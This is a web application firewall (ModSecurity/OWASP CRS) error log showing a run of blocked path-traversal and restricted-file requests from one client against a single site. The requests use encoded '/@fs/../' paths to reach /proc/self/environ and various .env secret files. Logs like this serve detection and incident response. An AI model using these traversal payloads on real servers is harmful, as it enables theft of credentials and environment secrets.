[Sun Oct 25 15:18:10.298121 2026] [security2:error] [pid 2885694:tid 2885694] [client 34.95.254.114:60542] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /..%252f found within REQUEST_URI_RAW: /@fs/..%252f..%252f..%252f..%252f..%252fproc/self/environ?raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2fproc/self/environ"] [unique_id "at5V8uNFKka2-rJ01WB_AQAAAAk"]
[Sun Oct 25 15:18:10.298196 2026] [security2:error] [pid 2885694:tid 2885694] [client 34.95.254.114:60542] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /@fs/../../../../../proc/self/environ?raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2fproc/self/environ"] [unique_id "at5V8uNFKka2-rJ01WB_AQAAAAk"]
[Sun Oct 25 15:18:10.298227 2026] [security2:error] [pid 2885694:tid 2885694] [client 34.95.254.114:60542] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /@fs/../../../../../proc/self/environ?raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2fproc/self/environ"] [unique_id "at5V8uNFKka2-rJ01WB_AQAAAAk"]
[Sun Oct 25 15:18:10.298692 2026] [security2:error] [pid 2885694:tid 2885694] [client 34.95.254.114:60542] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2fproc/self/environ"] [unique_id "at5V8uNFKka2-rJ01WB_AQAAAAk"]
[Sun Oct 25 15:18:10.298954 2026] [security2:error] [pid 2885694:tid 2885694] [client 34.95.254.114:60542] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Path Traversal Attack (/../)"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2fproc/self/environ"] [unique_id "at5V8uNFKka2-rJ01WB_AQAAAAk"]
[Sun Oct 25 15:18:10.302932 2026] [security2:error] [pid 2887595:tid 2887595] [client 34.95.254.114:60732] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/proc/self/cwd/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/@fs/proc/self/cwd/.env"] [unique_id "at5V8kEcNhfmEEfjyh7vnAAAACI"]
[Sun Oct 25 15:18:10.303253 2026] [security2:error] [pid 2887595:tid 2887595] [client 34.95.254.114:60732] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/@fs/proc/self/cwd/.env"] [unique_id "at5V8kEcNhfmEEfjyh7vnAAAACI"]
[Sun Oct 25 15:18:10.303507 2026] [security2:error] [pid 2887595:tid 2887595] [client 34.95.254.114:60732] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/@fs/proc/self/cwd/.env"] [unique_id "at5V8kEcNhfmEEfjyh7vnAAAACI"]
[Sun Oct 25 15:18:10.303835 2026] [security2:error] [pid 2887599:tid 2887599] [client 34.95.254.114:60882] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /@fs/../../../../../root/.env?raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2froot/.env"] [unique_id "at5V8q-3mg6lJwQZGruCdQAAACY"]
[Sun Oct 25 15:18:10.303876 2026] [security2:error] [pid 2887599:tid 2887599] [client 34.95.254.114:60882] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /@fs/../../../../../root/.env?raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2froot/.env"] [unique_id "at5V8q-3mg6lJwQZGruCdQAAACY"]
[Sun Oct 25 15:18:10.303951 2026] [security2:error] [pid 2887599:tid 2887599] [client 34.95.254.114:60882] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /root/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2froot/.env"] [unique_id "at5V8q-3mg6lJwQZGruCdQAAACY"]
[Sun Oct 25 15:18:10.304305 2026] [security2:error] [pid 2887599:tid 2887599] [client 34.95.254.114:60882] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 20)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2froot/.env"] [unique_id "at5V8q-3mg6lJwQZGruCdQAAACY"]
[Sun Oct 25 15:18:10.304586 2026] [security2:error] [pid 2887599:tid 2887599] [client 34.95.254.114:60882] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 20 - SQLI=0,XSS=0,RFI=0,LFI=20,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2froot/.env"] [unique_id "at5V8q-3mg6lJwQZGruCdQAAACY"]
[Sun Oct 25 15:18:10.313729 2026] [security2:error] [pid 2887598:tid 2887598] [client 34.95.254.114:60826] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/var/task/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/@fs/var/task/.env"] [unique_id "at5V8uzMmhRmOL7WSQVFSAAAACU"]
[Sun Oct 25 15:18:10.334016 2026] [security2:error] [pid 2887598:tid 2887598] [client 34.95.254.114:60826] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/@fs/var/task/.env"] [unique_id "at5V8uzMmhRmOL7WSQVFSAAAACU"]
[Sun Oct 25 15:18:10.385037 2026] [security2:error] [pid 2882162:tid 2882162] [client 34.95.254.114:60582] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at5V8nXh3gJECtnR93iQawAAABU"]
[Sun Oct 25 15:18:10.385615 2026] [security2:error] [pid 2882162:tid 2882162] [client 34.95.254.114:60582] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at5V8nXh3gJECtnR93iQawAAABU"]
[Sun Oct 25 15:18:10.385876 2026] [security2:error] [pid 2882162:tid 2882162] [client 34.95.254.114:60582] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at5V8nXh3gJECtnR93iQawAAABU"]
[Sun Oct 25 15:18:10.501510 2026] [security2:error] [pid 2882191:tid 2882191] [client 34.95.254.114:60966] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/@fs/app/.env"] [unique_id "at5V8pYw3jZlk1xcjz4TRgAAADA"]
[Sun Oct 25 15:18:10.501963 2026] [security2:error] [pid 2882191:tid 2882191] [client 34.95.254.114:60966] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/@fs/app/.env"] [unique_id "at5V8pYw3jZlk1xcjz4TRgAAADA"]
[Sun Oct 25 15:18:10.502221 2026] [security2:error] [pid 2882191:tid 2882191] [client 34.95.254.114:60966] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/@fs/app/.env"] [unique_id "at5V8pYw3jZlk1xcjz4TRgAAADA"]
[Sun Oct 25 15:18:10.557138 2026] [security2:error] [pid 2885694:tid 2885694] [client 34.95.254.114:60542] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/src/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/@fs/src/.env"] [unique_id "at5V8uNFKka2-rJ01WB_AgAAAAk"]
[Sun Oct 25 15:18:10.581065 2026] [security2:error] [pid 2885694:tid 2885694] [client 34.95.254.114:60542] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/@fs/src/.env"] [unique_id "at5V8uNFKka2-rJ01WB_AgAAAAk"]
[Sun Oct 25 15:18:10.581350 2026] [security2:error] [pid 2885694:tid 2885694] [client 34.95.254.114:60542] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/@fs/src/.env"] [unique_id "at5V8uNFKka2-rJ01WB_AgAAAAk"]
[Sun Oct 25 15:18:10.579841 2026] [security2:error] [pid 2887596:tid 2887596] [client 34.95.254.114:60832] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at5V8uiJA1fzv0ndEdTr6QAAACM"]
[Sun Oct 25 15:18:10.621163 2026] [security2:error] [pid 2887595:tid 2887595] [client 34.95.254.114:60732] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/app/.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/@fs/app/.env.local"] [unique_id "at5V8kEcNhfmEEfjyh7vnQAAACI"]
[Sun Oct 25 15:18:10.640508 2026] [security2:error] [pid 2887596:tid 2887596] [client 34.95.254.114:60832] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at5V8uiJA1fzv0ndEdTr6QAAACM"]
[Sun Oct 25 15:18:10.640618 2026] [security2:error] [pid 2887595:tid 2887595] [client 34.95.254.114:60732] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/@fs/app/.env.local"] [unique_id "at5V8kEcNhfmEEfjyh7vnQAAACI"]
[Sun Oct 25 15:18:10.640880 2026] [security2:error] [pid 2887596:tid 2887596] [client 34.95.254.114:60832] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at5V8uiJA1fzv0ndEdTr6QAAACM"]
[Sun Oct 25 15:18:10.640903 2026] [security2:error] [pid 2887595:tid 2887595] [client 34.95.254.114:60732] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/@fs/app/.env.local"] [unique_id "at5V8kEcNhfmEEfjyh7vnQAAACI"]
[Sun Oct 25 15:18:10.621966 2026] [security2:error] [pid 2887599:tid 2887599] [client 34.95.254.114:60882] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/@fs/app/.env"] [unique_id "at5V8q-3mg6lJwQZGruCdgAAACY"]
[Sun Oct 25 15:18:10.644410 2026] [security2:error] [pid 2887599:tid 2887599] [client 34.95.254.114:60882] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/@fs/app/.env"] [unique_id "at5V8q-3mg6lJwQZGruCdgAAACY"]
[Sun Oct 25 15:18:10.644705 2026] [security2:error] [pid 2887599:tid 2887599] [client 34.95.254.114:60882] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/@fs/app/.env"] [unique_id "at5V8q-3mg6lJwQZGruCdgAAACY"]
[Sun Oct 25 15:18:10.622689 2026] [security2:error] [pid 2887588:tid 2887588] [client 34.95.254.114:60712] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /@fs/../.env?import&raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at5V8iKKYgNzbRNd-8H8zQAAABk"]
[Sun Oct 25 15:18:10.646406 2026] [security2:error] [pid 2887588:tid 2887588] [client 34.95.254.114:60712] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at5V8iKKYgNzbRNd-8H8zQAAABk"]
[Sun Oct 25 15:18:10.646959 2026] [security2:error] [pid 2887588:tid 2887588] [client 34.95.254.114:60712] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at5V8iKKYgNzbRNd-8H8zQAAABk"]
[Sun Oct 25 15:18:10.647242 2026] [security2:error] [pid 2887588:tid 2887588] [client 34.95.254.114:60712] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at5V8iKKYgNzbRNd-8H8zQAAABk"]
